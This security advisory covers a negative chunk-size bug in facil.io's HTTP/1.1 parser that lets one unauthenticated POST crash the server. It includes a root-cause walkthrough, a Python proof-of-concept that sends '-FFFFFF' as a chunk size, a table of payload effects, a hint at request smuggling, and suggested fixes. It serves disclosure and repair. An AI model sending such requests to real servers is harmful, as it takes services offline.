
Security advisory for CVE-2026-66731 with root cause analysis, PoC exploit, and fix suggestions for facil.io HTTP/1.1 chunked encoding parser bug.
Assigned CVE ID: CVE-2026-66731
Product: facil.io
Affected versions: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introduced when the 0.8.x HTTP/1.1 parser was backported in 0.7.5 - not present in 0.6.x or 0.7.0–0.7.3
Component: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Improper Input Validation), CWE-682 (Incorrect Calculation), CWE-125 (Out-of-Bounds Read)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Researcher: Theodosis Paidakis
The chunked transfer encoding parser accepts a leading minus sign in chunk size values. http1_atol16 returns a negative long long for inputs like -FFFFFF. The parser stores 0 - chunk_len in content_length as a sentinel for "inside a chunk." When is negative, that subtraction produces a large positive value, corrupting the state machine. A subsequent pointer computation then moves the read pointer millions of bytes before the input buffer, into unmapped memory, crashing the process. One unauthenticated POST request is sufficient.
chunk_lenStep 1: http1_atol16 accepts a leading minus sign
lib/facil/http/parsers/http1_parser.h, lines 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
Input -FFFFFF\r\n produces chunk_len = -16777215LL. RFC 7230 section 4.1 specifies chunk sizes as non-negative hexadecimal integers. A leading minus is not valid.
Step 2: State machine corruption
lib/facil/http/parsers/http1_parser.h, lines 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
The parser uses negative content_length as a sentinel meaning "currently reading chunk body." With a positive content_length of +16777215, the state machine thinks it is reading a plain (non-chunked) body of 16 MB.
Step 3: Pointer goes backward into unmapped memory
On the next iteration, the parser computes:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
The read from that address faults.
Start the server, then run:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
ASAN output (confirmed):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Effect by chunk size sent:
| Chunk size | content_length after corruption | Outcome |
|---|---|---|
-0 | 0 | Body silently skipped; server survives |
-1 | +1 | Pointer 1 byte before start |
-FFFFFF | +16777215 | Pointer 16 MB before start; crash |
-7FFFFFFF | +2147483647 | Pointer 2 GB before start; crash |
Note: the -0 case (0 - 0 = 0) hits the "chunked body complete" branch and survives, but the server accepts the request as having an empty body regardless of any data that follows. This may function as a request smuggling primitive in proxy deployments where the front end parses chunked encoding differently.
A single unauthenticated Transfer-Encoding: chunked request with a negative chunk size crashes the server. Any application accepting HTTP/1.1 is affected; chunked encoding is a core protocol feature and requires no application-level configuration.
Either approach is sufficient. Prefer Fix 1.
Fix 1: reject the leading minus in http1_atol16
lib/facil/http/parsers/http1_parser.h, line 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Fix 2: validate chunk_len before use
lib/facil/http/parsers/http1_parser.h, line 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
Commit 53caca31 ("Fix atol16 to fix chunked length calculation", Dec 2019) fixed the overflow detection loop condition but kept the sign-handling code. Commit fe847cdf ("fix HTTP/1.1 parser against smuggling attack", May 2020) addressed TE/CL conflicts (both Transfer-Encoding and Content-Length present). Neither covers negative chunk sizes.